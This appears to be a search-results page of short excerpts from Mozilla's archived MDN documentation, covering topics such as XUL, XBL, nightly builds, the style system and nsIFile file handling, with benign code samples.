...looking for a stream converter (implementing nsistreamconverter) that takes our content type as input and outputs the magic type "*/*" (which just means we'll take anything it can give us). if the type of the data is "application/x-unknown-content-type" (another magic type), this is where nsunknowndecoder would be instantiated. the conversion attempt is made by calling convertdata. this creates a
new nsdocumentopeninfo object and sets it as the output streamlistener of the converter. this way, once we know what type we've managed to get we can attempt to redispatch it. if a converter is found, we hook that up as our stream listener and are done -- we just need to pump data into it and let the downstream nsdocumentopeninfo handle the final dispatch. if we still do not have a stream listener,...
Downloading Nightly or Trunk Builds - Archive of obsolete content
probably want a mozilla branch nightly build, that is, look for a mozilla thing (not a firefox thing), not the breaky one on trunk, but the most recent branch, and built very fresh (last night!), so you can install it. for firefox 3.5 that would be latest-mozilla-1.9.1 in https://archive.mozilla.org/pub/firefox/nightly/. trunk build. a trunk build is a build made off the trunk, i.e., the latest,
newest, but also least stable and most buggy state of the source. trunk builds are provided so that one can execute tests without going to the trouble of building the source. the current trunk is mozilla 1.9.2. tinderbox builds. for the trunk and the latest two branches, there are machines at mozilla and maybe elsewhere compiling builds as fast as they can make them for at least all three of firefo...
...e to get it: these are the nightly builds, and testers all over the world download them and test them, reporting as they go along on any bugs that hit them. anyone can be a tester, you don't need to get approval before you can start testing. when people talk of "nightlies", they often mean "trunk nightlies", though there exist also "branch nightlies" which are somewhat less buggy but also not as "
newest & greatest". for instance, one may use a thunderbird "branch nightly" as one's main e-mail client. note that nightly builds may not be created for every platform for every night. if one has questions about the way a particular nightly was built, the best way to get that information is to download the executable, launch it, and then go to the "about:buildconfig" page, by typing this into the l...
Repackaging Firefox - Archive of obsolete content
plication. make sure it starts up and launches the gui. put together your extension that customizes firefox. the distro extension all the changes you will want to make (for example, changing the default homepage or adding default bookmarks) can be encapsulated into a firefox extension. we call this extension a "distro extension" (sometimes abbreviated as "dex"), because it is used to create a
new "distribution" of firefox, with different branding, etc. using an extension makes it far easier to keep track of your changes easily when the time comes to upgrade to
new versions of firefox, and also ensures, when set-up correctly, that users are able to safely receive firefox updates from mozilla. more about this below. while the aim of this article is not to fully document how to make an exte...
... ...
Style System Overview - Archive of obsolete content
style context doesn't hold pointer to content, just rule node. dynamic changes to content framemanager::reresolvestylecontext destroys and recreates style contexts for existing frames (rule node pointer immutable). reresolvestylecontext is messy because it needs to create and parent style contexts correctly (sibling sharing may not be the same) rather than just changing data. [desig...
...ented style contexts (not along frame parents, which need not be content parents) are reconstructed using nsiframe::getparentstylecontextframe. can return same style context due to sibling sharing unless we're destroying the rule tree for a style sheet/rule removal. dynamic changes to content reresolvestylecontext calculates differences (repaint, reflow, reframe, etc.) between style old and
new style contexts and does appropriate cleanup it uses nsistylecontext::calcstyledifference, which only computes differences for structs that have been requested. (i'll call this the data-struct-based hint mechanism.) caller of nsiframemanager::computestylechangefor processes the change list, which has been built to avoid duplication. we also have reparentstylecontext, used in a few places (usual...
GRE - Archive of obsolete content
old gre there are two different forms for the gre: the "old" gre was part of the mozilla application suite. it was installed with the windows installer of mozilla 1.4 through 1.7.x. there was never an official gre shipped for linux, but various distributors such as red hat have registered mozilla installations as if they were a gre. the mozilla suite never supported a gre on mac. xulrunner: the
new gre xulrunner is the
new version of the gre, which not only allows embedding but is capable of bootstrapping entire xul applications such as firefox. xulrunner supports or is planned to support embedding on all three major platforms (windows, mac, and linux). finding and using a gre from application code avoid linking directly against xpcom.dll if an application wishes to use the gre, it must...
... ...
JavaScript crypto - Archive of obsolete content
tes: generatecrmfrequest(), importusercertificates(). the generatecrmfrequest() function generates a key and creates a crmf request object. this object can be passed to a ca using a webform. the importusercertificates() function loads certificates into the nss database or smartcard if the corresponding key is found there. the popchallengeresponse() function is not implemented. ...
...orms[0].onsubmit = loadcertificate; </script> signing text domstring signtext(domstring stringtosign, domstring caoption /* ... */); loading pkcs #11 modules long deletemodule(domstring modulename); long addmodule(domstring modulename, domstring libraryfullpath, long cryptomechanismflags, long cipherflags); loads or removes a
new pkcs #11 module. in the add case, the module will be placed in the nss secmod.db database and will be loaded automatically on application restart. in the delete case, the module is removed from the nss secmod.db. this function will issue a user prompt to confirm the operation before the add or delete actually occurs. parameters modulename name of the module. libraryfullpath the filename of...
Message Summary Database - Archive of obsolete content
ges and threads in a folder, and some meta information about the folder. nsimsgdatabase the main access point to the summary information is nsimsgdatabase. nsimsgfolder has a method to get the database for a folder. nsimsgdatabase is an abstraction on top of mdb, which is a set of db interfaces. the mdb interfaces are implemented in mork. mdb is a schema-less db interface, so it's trivial to add
new attributes without regenerating the db, and it's trivial for older code to read
newer databases, because the code can ignore but maintain the attributes it doesn't know about. if we were to replace mork, we could do it at the mdb level (unlikely, because implementing the mdb interface on top of a different db would be very hard), the nsimsgdatabase level (probably the easiest), or we could invent...
...message headers the message header object implements the nsimsgdbhdr interface. ...
Plugin Architecture - Archive of obsolete content
dealing with a plugin, or it starts a network request and notices this in onstartrequest when it realizes that, it tries to create a frame, if anotify is true and no frame exists yet if a frame exists now, it is asked to instantiate the plugin that was the normal case. ...
... true and no frame exists yet if a frame exists now, it is asked to instantiate the plugin that was the normal case. if a frame comes into existance independent of that, it tells the content node that it exists now (nsiobjectloadingcontent::has
newframe). that function will post an event and when that fires, asks the frame to instantiate the plugin. ...
RDF Datasource How-To - Archive of obsolete content
article. this document is a cookbook that describes how to create a native, client-side datasource that works with mozilla's rdf implementation. it supersedes (and borrows from) the original document put together by robert churchill. what is a datasource? the "rdf universe" consists of a set of statements about internet resources; for example, "my home page was last modified april 2nd", or "that
news article was sent by bob". in the most abstract sense, a datasource is a collection of such statements. more concretely, a datasource is a translator that can present information as a collection of rdf statements. for example, a "file system datasource" would translate the file system into statements like "/tmp is a directory" and "/tmp/foo is contained within /tmp". an "imap datasource" would us...
...y hand". although this is more work, it is really the only way to create a "live" datasource that may be changed by some outside agent. the file system datasource and local mail datasource are good examples of datasources that have been implemented this way. you'll probably need to choose this implementation if your datasource is "live", and may be modified or altered by some outside agent (e.g.,
new mail arriving). you may also need to choose this implementation if the data set which your datasource is modeling is too large to fit in to memory (e.g., the entire file system structure). [more info on what each method needs to do here] rdf commands [describe what commands are, and why you'd implement them.] registering the datasource component a datasource is an xpcom component. as such, it m...
Table Layout Regression Tests - Archive of obsolete content
et xpcom_debug_break=warn, the world would be a much better place if we could first fix those assertions. as you will probably run your normal mozilla in parallel with the testing issue then: set moz_no_remote=1 at the command prompt. start the layout debugger via mozilla -layoutdebug - p foo where foo is just another profile than your main profile. select from the regression-test menu the add
new list...entry. select %moz_src%/layout/html/tests/block/rtest.lst. execute the baseline test shutdown the layoutdebugger execute mozilla -layoutdebug - p foo >selftest.txt execute the verify test make a note which tests have failed grep 'failed' selftest.txt (these are false positives, quite frequently they indicate reflow problems, pages showing differently when loaded from cache) make you...
...x1]enum 0|1 1 [none]|left: auto top: auto right: auto bottom: auto auto 0[0x0]tw null auto 0[0x0]tw null 0 auto |0 0 0 normal normal 0[0x0]tw normal |0 11 1,000000 0 0 0 0 0 0 0 0 0 0 0 [none]|0 0 0 -1 1 |0 0 0 null comparison for file:///e:/moz_src/mozilla/layout/html/tests/table/core/baseline/standards1.rgd failed. the first regression test has failed and it is marked so. adding
new regression tests once you have checked in the code: please add your testcase for the bug to the regression tests. a testcase should only contain local files. place the images in table/images block/images or (don't forget cvs commit -kb) and the test file in the table/bugs or block/bugs directory. update the rtest.lst file in the corresponding directory in order to include your file. add...
Abc Assembler Tests - Archive of obsolete content
sts using the abc assembler. the assembler code can be found in /utils/abcasm. tests can be found in /test/acceptance/abcasm and end with the .abs extension. the tests are run using the same runtests.py script that is used for the actionscript tests. ...
...her provisions required by the gpl or the lgpl. if you do not delete * the provisions above, a recipient may use your version of this file under * the terms of any one of the mpl, the gpl or the lgpl. ...
Tamarin build documentation - Archive of obsolete content
mac please see previous cross-platform instructions here: https://developer.mozilla.org/index.php?title=en/tamarin/tamarin_build_documentation&revision=21 the bug when building on snow leopard (bug 537817) has been fixed in the tamarin-redux repo. the work for that fix also included some changes to the configure.py default behavior to decouple the --target switch from sdk choice: there is a
new switch, --mac-sdk, that selects the 10.4u, 10.5 or 10.6 sdk. its options are '104u', '105' or '106' (note: no '.') if you don't pass the --mac-sdk switch you will get no sdk in your build. if you pass '--mac-sdk=104u' you will also get gcc/g++ 4.0. if you pass '--mac-sdk=105' or '--mac-sdk=106' you will get the gcc/g++ default for the machine you're building on. example call to build on an x...
...ote: as discussed above, the c++ indexer has been setup to track the current build config, so the correct conditional compiles are highlighted in the editor run/debug from eclipse for test purposes, a launch config (running the helloworld test from esc) has been included for each of the build configs. all are available from the run menu. note: if you receive an error when trying to run/debug a
newly imported project, try opening a file in the project first - eclipse can sometimes get confused as to what the 'current project' actually is. additional things to try are clicking on the project name then refreshing it (file/refresh or right-click/refresh) and/or quitting and restarting eclipse. linux and unix tamarin is tested on linux but not on other unix flavors. nonetheless, it is possibl...
Tuning Pageload - Archive of obsolete content
ntent sink -> content model -> rendering model -> layout -> painting. nglayout.initialpaint.delay this is a preference that specifies a delay, in milliseconds, after the data from the server has started coming in. during this delay, the page that's coming in is not painted, unless it ends up fully loaded before the delay expires. the idea here is twofold.this reduces ugly visual jitter as the
new page comes in by not starting painting till after we have a bunch of the data.this makes overall page load time shorter by not doing extra repaints very early on. content.interrupt.parsing this preference, when true, means that the content sink can tell the parser to stop for now and return to the event loop, which allows layout and painting to happen. if the parser gets a large chunk of data...
... will aim for less parser interruption and less responsiveness but lower overall load time. content.notify.* controls the information flow from content sink to rendering model. in particular, the way things work right now is that the parser and content sink construct the dom; then every so often, the content sink lets the rendering model constructor (nscssframeconstructor) know that there are
new dom nodes. the reason for this is that nscssframeconstructor is most efficient when doing a bunch of stuff at once instead of constructing rendering objects for one dom node at a time. specifically - content.notify.ontimer controls whether the frame constructor is notified off a timer at all content.notify.backoffcount controls how many times that happens for a given page (the default is arbitrar...
Venkman Internals - Archive of obsolete content
these notes are written by such readers: as you learn please correct any errors. questions why can't breakpoints be set on some source lines some of the time? sometimes the source has small ticks in the margin for every executable line in my javascript. sometimes these ticks are missing on some or all lines of a file. only lines with tick marks seem to break point properly. venkman asks the js engine which lines are executable. it will mark these with a "tick" as you call it. ...
...bles. things like msg.alert define variables msg_alert. venkman-utils.js defines the dd debug dump and friends windowrecord representation of the open windows. filecontainerrecord - list of script tags found in the parent record's window.document property. to obtain the antecedent files: doc.getelementsbytagname("script"); then extract the urls from the src attributes. scriptwrapper
newsgroup, 2002, rgrinda here is a bit more information about how venkman tracks files and functions... a scriptwrapper is a pure js object defined only inside venkman. as you pointed out, there is a 1:1 relationship between scriptwrappers and functions. scriptwrapper has-a jsdscript property, which is an object which supports the jsdiscript interface. jsdiscript is a lower level access to the functi...
Venkman - Archive of obsolete content
set and examine breakpoints. learning the javascript debugger venkman written by svend tofte to the javascript programmers who are not familiar with other debugging tools. venkman faq answers to common questions on venkman. venkman internals notes on venkman source code. venkman development page older
news and releases. view all... brief history in 1998, john bandhauer was in charge of creating the netscape 4.x javascript debugger. in order to keep things modular, he began by creating a mid-level javascript debugging api known as js/jsd. this api augments the existing javascript api, providing clients with a useful set of debugger functionality implemented in c. bandhauer then we...
...ebugger extension version 0.9.84 is available from nvu's downloads page. we encourage you to use the latest available version 0.9.87.1 (or higher) with firefox instead. source code the source code for venkman may be found in mercurial at the following url: http://hg.mozilla.org/venkman/summary community view mozilla forums... mailing list
newsgroup rss feed irc: #venkman on irc.mozilla.org report a bug in venkman if you find a problem with venkman, please follow directives mentioned at venkman faq section 5.4 and then you may report a bug on javascript debugger component. related topics javascript, web development, developing mozilla original document information author(s): robert gind...
Binding Implementations - Archive of obsolete content
the methods and properties of an implementation can be defined declaratively using method and property tags in xml, or an external implementation (e.g., a binary implementation) can be specified using the src attribute. when the src attribute is specified, any children of the implementation element are ignored. methods methods are defined using the method element. ...
...erties with getters and setters can define them using onget and onset attributes, or using the more verbose getter and setter elements. if both the attribute form and the element form are used to specify a getter or setter, then the element form is ignored. a getter contains script whose return value is handed back when the property is requested. a setter contains a script that is invoked when a
new value is assigned to the property. in script, the word val is used to represent the
new value. properties can be designated as constant using the readonly attribute. when set to true, the property's value cannot be altered. if a property is readonly and a setter is defined, then the setter is ignored. properties also support a shorthand syntax for defining getters and setters that forward reque...
XBL 1.0 Reference - Archive of obsolete content
abstract this document describes extensible binding language (xbl) 1.0 as implemented in gecko browsers. extensible binding language is a xml-based markup language to implement reusable components (bindings) that can be bound to elements in other documents. the element with a binding specified, called the bound element, acquires the
new behavior specified by the binding. bindings can be bound to elements using cascading style sheets (css) or dom. ...
... there are numerous adjustments in the current implementation in comparison of earlier xbl proposals, and not all of them are reflected yet in this document. ...
Using XPInstall to Install Plugins - Archive of obsolete content
in particular plugin developers should see how to package a plugin as an extension. xpinstall is a javascript-based installer technology that works across all the platforms that mozilla and netscape browsers based on mozilla (such as netscape 7) are deployed. ...
...rtupdate jar file, xpi packages do not have to be digitally signed with a code-signing certificate. xpi packages make use of different apis from within install.js, although the concept is the same. xpinstall for mozilla-based browsers is analogous to smartupdate in netscape communicator 4.x browsers. porting smartupdate deployments to xpinstall is trivial after gaining some familiarity with the
new xpinstall api. the recommended installation process xpinstall provides a cohesive api to accomplish rapid installation and setup of plugin software for end-users. the benefit of using xpinstall is to provide a streamlined installation mechanism. this section discusses what an ideal xpinstall package will do, as well as points out some of the javascript api calls that you will make to accomplis...
dirCreate - Archive of obsolete content
dircreate creates a
new directory. method of file object syntax int dircreate( filespecobject dirtocreate ); parameters the dircreate method has the following parameters: dirtocreate a filespecobject representing the pathname of the directory to create. returns an integer error code. for a list of possible values, see return codes. description the input parameter is a filespecobject that you have already created with the install object's getfolder method. the following simple example demonstrates the use of the dircreate method. note that the getfolder method does not require that the folder or directory you specify exist in order for the object reference to be a valid one. ...
...return codes. ...
Methods - Archive of obsolete content
dirgetparent returns an object representing the parent directory. dirremove removes a directory. ...
... dirgetparent returns an object representing the parent directory. dirremove removes a directory. dirrename renames the specified directory. ...
XPJS Components Proposal - Archive of obsolete content
is more akin to 'dynamic' libraries. when a xpjs component module is first installed - or at autoregistration time - the xpjsmanager will load the .js file into a fresh js environment, let its top level script run to do whatever initialization it wants to do, and then it will call the module's nsregisterself function (passing the filespec of the .js file). at this point the module will use the (
new) methods on the components object to register itself with the component manager as a factory module for one or more classid or progid. this registration function that the js code calls (e.g. components.registercomponentspec) will be provided by the xpjsmanager. the xpjsmanager will receive this call from the js code, store the mapping of clsid to .js filespec in the registry for its own use late...
... to trim itself back (by whatever means) it will call the nscanunload method (if present) on each module. it the module oks it then the xpjsmanager will release its root of the module's global object and release any hold over the objects in the module. any subsequent requests from the component manager that would result in nsgetfactory calls into the module will force the xpjsmanager to load up a
new instance of the .js file and start over. so, these xpjs component modules are safely unloadable, but have the power (like native modules) to veto any attempt. so when will it be ready? i was thinking that i'd get on this pretty soon. i think that it is all very straightforward. comments and suggestions welcome! original document information author: john bandhauer last updated date: 1 jul...
XTech 2006 Presentations - Archive of obsolete content
javascript 2 and the future of the web - brendan eich javascript 2 will be finalised in 2007. to help migration an open source js2-to-js compiler is being developed, making js2 a reality in 2006. work on this compiler and the
new features of js2 is presented by the inventor of javascript. layout algorithm improvements for web user interfaces (slides, slides as one page) - david baron a discussion of problems with existing standards and potential improvements in two areas: layout systems for user interfaces (rather than documents) and mechanisms for reordering content to allow the author to use good markup and appropriate layout. microsummaries in firefox and on the web - myk melez microsummaries are regularly-updated compilations of the most important and timely information on w...
...discussed. converging rich-client and web application development with mozilla xulrunner (open office format) - benjamin smedberg this presentation demonstrates the convergence of rich-client and web application development and discuss application deployment using mozilla xulrunner. etna, a wysiwyg xml relax ng- and gecko-based editor - daniel glazman this presentation describes etna, a
new wysiwyg xml editor based on gecko, the relax ng parser and validator disruptive innovations implemented for it and its query api, and relax ng extensions that were necessary to solve very old and well known problems in markup languages. an html version of the paper is available here. ...
autocompletesearch - Archive of obsolete content
« xul reference home autocompletesearch
new in thunderbird 2requires seamonkey 1.1 type: space-separated list of values a space-separated list of search component names, each of which implements the nsiautocompletesearch interface. the components are created using the name @mozilla.org/autocomplete/search;1?name= where name is listed in this attribute. search-autocomplete requires seamonkey 2.1 the user's default search engine's suggestions are searched. places-tag-autocomplete requires seamonkey 2.1 the user's places tags are searched. mydomain
new in thunderbird 3 requires seamonkey 2.0 the user's email domain is suggested. history requires seamonkey 2.0 the user's url history is searched. ...
... tags are searched. mydomain
new in thunderbird 3 requires seamonkey 2.0 the user's email domain is suggested. history requires seamonkey 2.0 the user's url history is searched. form-history requires seamonkey 2.0 search the values that the user has entered into form fields. file (linux only) the local file system is searched. gloda
new in thunderbird 3 addrbook
new in thunderbird 3 requires seamonkey 2.0 the user's address book is searched. ldap
new in thunderbird 25 requires seamonkey 2.22 the user's ldap directory is searched. ...
Attribute (XUL) - Archive of obsolete content
increment index inputtooltiptext insertafter insertbefore instantapply inverted iscontainer isempty key keycode keytext label lastpage lastselected last-tab left linkedpanel max maxheight maxlength maxpos maxrows maxwidth member menu menuactive min minheight minresultsforpopup minwidth mode modifiers mousethrough movetoclick multiline multiple name negate
newlines next noautofocus noautohide noinitialfocus nomatch norestorefocus object observes onbeforeaccept onbookmarkgroup onchange onclick onclosetab oncommand oncommandupdate ondialogaccept ondialogcancel ondialogclosure ondialogextra1 ondialogextra2 ondialoghelp onerror onerrorcommand onextra1 onextra2 oninput onload on
newtab onpageadvanced onpagehide onpagerewound ...
...ected selectedindex seltype setfocus showcaret showcommentcolumn showpopup size sizemode sizetopopup smoothscroll sort sortactive sortdirection sortresource sortresource2 spellcheck src state statedatasource statusbar statustext style subject substate suppressonselect tabindex tabscrolling targets template timeout title toolbarname tooltip tooltiptext tooltiptext
new top type uri useraction validate value var visuallyselected wait-cursor width windowtype wrap wraparound ...
Working With Directories - Archive of obsolete content
everal levels down is referenced. each call to nsifile.append() navigates to a further subdirectory. the result is a subdirectory three levels below the desktop directory. these directories do not need to exist yet, but they can be created using nsifile.create(). see creating directories below for information about this. note that nsifile.append() modifies the file object, rather than returning a
new one. both files and directories are represented using the same kind of object so most of the functions available for nsifile will work for both. you can check if the object refers to a directory or a file by using nsifile.isdirectory(). this method returns true if a file object returned by nsiscriptableio.getfile() refers to a directory, and false otherwise. there is also a corresponding nsifile.
...ise. there is also a corresponding nsifile.isfile() method to check if an object refers to a file. in both cases, the method fails if the file or directory does not exist, so you should check first using nsifile.exists(). var dir = io.getfile("desktop", "myfiles"); dir.append("pictures"); if (dir.exists() && dir.isdirectory()) alert("this is a directory"); creating directories you can create a
new directory by using nsifile.create(). for directories, the first argument to this method should be the constant directory_type (which has a value of 1). to create a file instead, you could use the constant normal_file_type instead. var dir = io.getfile("desktop", "myfiles"); dir.append("pictures"); if (!dir.exists()) dir.create(dir.directory_type, 0775); this example checks if the directory exi...
Getting File Information - Archive of obsolete content
0; var file = io.getfile("desktop", "saved file"); if (file.exists()) filesize = file.filesize; it is also possible to modify the size of a file by setting the filesize (nsifile.attributes) attribute to a value. this may be useful to truncate a file, however, setting the file size will also increase the size of a file if the value is larger than the current size of the file. in this case, the
new part of the file will be filled with empty data. for instance, the following line will set the length of a file to 5000 bytes. file.filesize = 5000; modified time the time that a file was last changed may be retrieved using the lastmodifiedtime (nsifile.attributes) attribute. this attribute holds a value measured in milliseconds since january 1, 1970. it is convenient to pass the returned tim...
...y data. for instance, the following line will set the length of a file to 5000 bytes. file.filesize = 5000; modified time the time that a file was last changed may be retrieved using the lastmodifiedtime (nsifile.attributes) attribute. this attribute holds a value measured in milliseconds since january 1, 1970. it is convenient to pass the returned time to the date constructor. var lastmod =
new date(file.lastmodifiedtime); in this example, a date object is created using the modification time of a file. you can change the modification time of a file by setting the lastmodifiedtime (nsifile.attributes) attribute, or you can just write to the file, in which case the value will be adjusted automatically. file permissions several methods may be used to check for file permissions. the fo...
Uploading and Downloading Files - Archive of obsolete content
rface makes that task fairly simple. a formdata object will automatically generate request data with mime type multipart/form-data that existing servers can process. to add a file field to the data you use a file object that an extension can construct from file path. the formdata object can then simply be passed to xmlhttprequest: function upload(posturl, fieldname, filepath) { var formdata =
new formdata(); formdata.append(fieldname,
new file(filepath)); var req =
new xmlhttprequest(); req.open("post", posturl); req.onload = function(event) { alert(event.target.responsetext); }; req.send(formdata); } http put you can also upload a file using an http put operation. this is simpler but it doesn't allow sending additional data and web servers usually need special configuration...
...mlhttprequest(); req.open("post", posturl); req.onload = function(event) { alert(event.target.responsetext); }; req.send(formdata); } http put you can also upload a file using an http put operation. this is simpler but it doesn't allow sending additional data and web servers usually need special configuration to support put operations. function uploadput(posturl, filepath) { var req =
new xmlhttprequest(); req.open("put", posturl); req.setrequestheader("content-type", "text/plain"); req.onload = function(event) { alert(event.target.responsetext); } req.send(
new file(filepath)); } in this example, a
new input stream is created for a file, and is passed to the xmlhttprequest's send method. fetch upload please refer to uploading a file section inside the fetch article. d...
List of commands - Archive of obsolete content
find browser:findagain browser:findprev browser:forward browser:home browser:managebookmark browser:open browser:openfile browser:print browser:printpreview browser:savepage browser:searchinternet browser:sendpage browser:uploadfile cmd_bm_copy cmd_bm_cut cmd_bm_delete cmd_bm_expandfolder cmd_bm_export cmd_bm_find cmd_bm_import cmd_bm_managefolder cmd_bm_movebookmark cmd_bm_
newbookmark cmd_bm_
newfolder cmd_bm_
newseparator cmd_bm_open cmd_bm_openin
newtab cmd_bm_openin
newwindow cmd_bm_paste cmd_bm_properties cmd_bm_rename cmd_bm_selectall cmd_bm_set
newbookmarkfolder cmd_bm_set
newsearchfolder cmd_bm_setpersonaltoolbarfolder cmd_bm_sortfolder cmd_bm_sortfolderbyname cmd_close cmd_closeothertabs cmd_closewindow cmd_copy cmd_copyimage cmd_copylink cmd_cut...
...ame cmd_bm_selectall cmd_bm_set
newbookmarkfolder cmd_bm_set
newsearchfolder cmd_bm_setpersonaltoolbarfolder cmd_bm_sortfolder cmd_bm_sortfolderbyname cmd_close cmd_closeothertabs cmd_closewindow cmd_copy cmd_copyimage cmd_copylink cmd_cut cmd_delete cmd_editpage cmd_findtypelinks cmd_findtypetext cmd_gotoline cmd_handlebackspace cmd_handleshiftbackspace cmd_minimizewindow cmd_
neweditor cmd_
neweditordraft cmd_
neweditortemplate cmd_
newnavigator cmd_
newnavigatortab cmd_
newtabwithtarget cmd_openhelp cmd_paste - paste a selection from the clipboard cmd_printsetup cmd_quit cmd_redo cmd_savepage cmd_scrollpagedown cmd_scrollpageup cmd_selectall cmd_switchdocumentdirection cmd_switchtextdirection cmd_textzoomenlarge cmd_textzoomreduce cmd_textzoomreset cmd_und...
loadTabs - Archive of obsolete content
« xul reference home loadtabs( uris, loadinbackground, replace ) loadtabs( uris, params ) return type: no return value loads a set of uris, specified by the array uris, into tabs. ...
...return value loads a set of uris, specified by the array uris, into tabs. ...
Menus - Archive of obsolete content
f widget a combobox. you may also see a popup tag used in place of the menupopup tag. the popup tag is deprecated but is equivalent to the menupopup tag. menu tag overview the following shows a simple menu example, containing a menubar with a single menu labeled 'file'. <menubar id="sample-menubar"> <menu id="file-menu" label="file"> <menupopup id="file-popup"> <menuitem label="
new"/> <menuitem label="open"/> <menuitem label="save"/> <menuseparator/> <menuitem label="exit"/> </menupopup> </menu> </menubar> there are five tags used in this example, described briefly here: menubar a row of menus that appears along the top of the window or screen. it should contain menu elements. menu a label of a menu on a menubar, for instance 'file' ...
...rfaces.nsimenuboxobject).activechild = item; when the active item is set this way, keyboard navigation will now continue from this point. setting activechild to null will deactivate all items, and keyboard navigation will start from the top of the menu. it should be noted that setting the active item in this way will not affect the selected property or selected attribute of the previously and
newly activated item. you must unset/set those explicity for each item affected, if you want them to be. for menulists, however, setting the selecteditem or selectedindex properties on the menu will automatically take care of that for you. ...
RDF Query Syntax - Archive of obsolete content
asource for all possible values. in a triple statement, the subject is always the start of an arc, while the object is what it points to. for this triple, the builder will follow the arrows in the forward direction. here is the rdf graph again: starting at node a and following the relateditem arcs, we can see that there are three possible values for the ?relateditem variable, b, c and d. this is
new data, so the builder adds it to the graph. since three values have been found, the network will now have three potential results: (?start = http://www.xulplanet.com/rdf/a, ?relateditem = http://www.xulplanet.com/rdf/b) (?start = http://www.xulplanet.com/rdf/a, ?relateditem = http://www.xulplanet.com/rdf/c) (?start = http://www.xulplanet.com/rdf/a, ?relateditem = http://www.xulplanet.com/rdf/d) y...
...s: (?start = http://www.xulplanet.com/rdf/a, ?relateditem = http://www.xulplanet.com/rdf/b) (?start = http://www.xulplanet.com/rdf/a, ?relateditem = http://www.xulplanet.com/rdf/c) (?start = http://www.xulplanet.com/rdf/a, ?relateditem = http://www.xulplanet.com/rdf/d) you may note that the ?start variable is repeated for each result. this is because the builder copies the existing data for each
new potential result and adds the
new data. internally, this isn't quite true; the builder actually maintains only one copy of the similar data but uses data structures in such a way which make it appear as if it were duplicated. you may find this a bit confusing, but this should become clearer later with more specific and practical examples. since the triple was the last statement, the builder moves...
Using Recursive Templates - Archive of obsolete content
this is usually used to generate content in a tree or menu. both the rdf and xml datasource types support recursion. ...
...result (in this case, each group) becomes the reference point for a futher iteration. the same query is executed again but using the groups generated from the previous execution of the query. this time, the query generates a result for each person in the xml source. the content of the action body is again generated for each result, but instead of being inserted inside the outermost groupbox, this
new content is inserted inside the content generated from the previous iteration. the content is always inserted directly inside the element with the uri attribute. the result is output like the following: <groupbox> ... <vbox id="row2" container="true" empty="false" class="indent"> <label value="male"/> <vbox id="row4" class="indent"><label value="napoleon bonaparte"/></vbox> <vbox i...
Code Samples - Archive of obsolete content
window that you want to open. ...
... const name = "mail:3pane" const uri = "chrome://messenger/content/" sunbird passwords* const name = "toolkit:passwordmanager" const uri = "chrome://passwordmgr/content/passwordmanager.xul" seamonkey navigator const name = "navigator:browser" const uri = "chrome://navigator/content/" mail &
newsgroups const name = "mail:3pane" const uri = "chrome://messenger/content/" composer const name = "composer:html" const uri = "chrome://editor/content/" address book const name = "mail:addressbook" const uri = "chrome://messenger/content/addressbo...ddressbook.xul" irc chat const name = "i...
Adding Methods to XBL-defined Elements - Archive of obsolete content
methods to xbl-defined elements. methods in addition to adding script properties to the xbl-defined element, you can also add methods. these methods can be called from a script. methods are the functions of objects, such as window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a
new window is opened and the specified resource is loaded into its browsing context.">window.open(). you can define custom methods for your elements using the method element. the general syntax of methods is as follows: <implementation> <method name="method-name"> <parameter name="parameter-name1"/> <parameter name="parameter-name2"/> . . . <body> <-- method script go...
... that they are called in should not be relied upon, as they are loaded from various files. the window's onload handler is not called until after all the bindings have been attached and their constructors finished. the second point is when a binding is attached by changing the -moz-binding style property of an element. the existing binding will be removed, after its destructor is called. then, the
new binding will be added in its place and its constructor invoked. the script for a constructor or destructor should be placed directly inside the appropriate tag. there should only be at most one of each per binding and they take no arguments. here are some examples: <constructor> if (this.childnodes[0].getattribute("open") == "true"){ this.loadchildren(); } </constructor> <destructor ac...
Adding Properties to XBL-defined Elements - Archive of obsolete content
tag. for example: <field name="number"> 25 </field> this will assign the value 25 as the default value of the number field. actually, you can instead place a script inside the field tag that evaluates to the default value. that might be necessary if the value needs to be computed. for example, the following field is given a default value equal to the current time: <field name="currenttime">
new date().gettime(); </field> properties sometimes you will want to validate the data that is assigned to a property. or, you may want the value to be calculated dynamically as it's asked for. for example, if you want a property that holds the current time, you would want to have its value generated as needed. in these cases, you need to use a property tag instead of a field tag. its syntax is simi...
... of the property. for example, you could assign a script to the value of onget to calculate the current time. whenever a script attempts to access the value of the property, the onget script will be called to retrieve the value. the script should return the value that should be treated as the value of that property. the onset handler is similar but is called whenever a script attempts to assign a
new value to the property. this script should store the value somewhere, or validate the value. for example, some properties might only be able to store numbers. attempting to assign alphabetic text to such a property should fail. <property name="size" onget="return 77;" onset="alert('changed to:'+val);"/> this property will always return 77 when retrieved. when set, an alert wil...
Creating Dialogs - Archive of obsolete content
several ways. it displays a dialog instead of a window, which implies that it is asking something of the user. it also has subtle differences in the way it works and appears to the user. these differences will vary depending on the platform the application is running on. in addition, the opendialog() function can take additional arguments beyond the first three. these arguments are passed to the
new dialog and placed in an array stored in the
new window's arguments property. you can pass as many arguments as you wish. this is a convenient way to supply default values to the fields in the dialog. var somefile=document.getelementbyid('enterfile').value; window.opendialog("chrome://findfile/content/showdetails.xul","showmore", "chrome",somefile); in this example the dialog...
... example the dialog showdetails.xul is displayed. it's passed one argument, somefile, which was taken from the value of an element with the id enterfile. in a script used by the dialog, we can then refer to the argument using the window's arguments property. for example: var fl = window.arguments[0]; document.getelementbyid('thefile').value = fl; this is an effective way to pass values to the
new window. you can pass values back from the opened window to the original window in one of two ways. first, you could use the window.opener property which holds the window that opened the dialog. second, you could pass a function or object as one of the arguments when creating the dialog, then call that function or modify the object in the opened dialog. note: opendialog() requires universalbrows...
Creating a Window - Archive of obsolete content
w, there are several methods that can be used. if you are only in the development stage, you can just type the url (whether a chrome:, file: or other url type) into the location bar in a mozilla browser window. you should also be able to double-click the file in your file manager, assuming that xul files are associated with mozilla. ...
...however, one additional flag, called 'chrome' is necessary to indicate to the browser that this is a chrome document to open. this will open the window without the toolbars and menus and so forth that a normal browser window has. ...
Cross Package Overlays - Archive of obsolete content
seful because the overlay can modify the user interface of another package without changing the other package. for example, you could add menu items or toolbars to the mozilla browser window. we'll use this feature to add a toolbar to the mozilla browser window. the mozilla mail application uses overlays to add content to the browser window. for example, if mail is not installed, there will be no
new message command. however, if mail is installed, an overlay will be applied to the menu to add the
new message command. below, we'll add a find files toolbar to the browser. it probably wouldn't be useful to have this feature, but we'll do it anyway. mozilla allows you to add a list of overlays to the contents.rdf file that you use to list chrome packages, skins and locales. once you have created ...
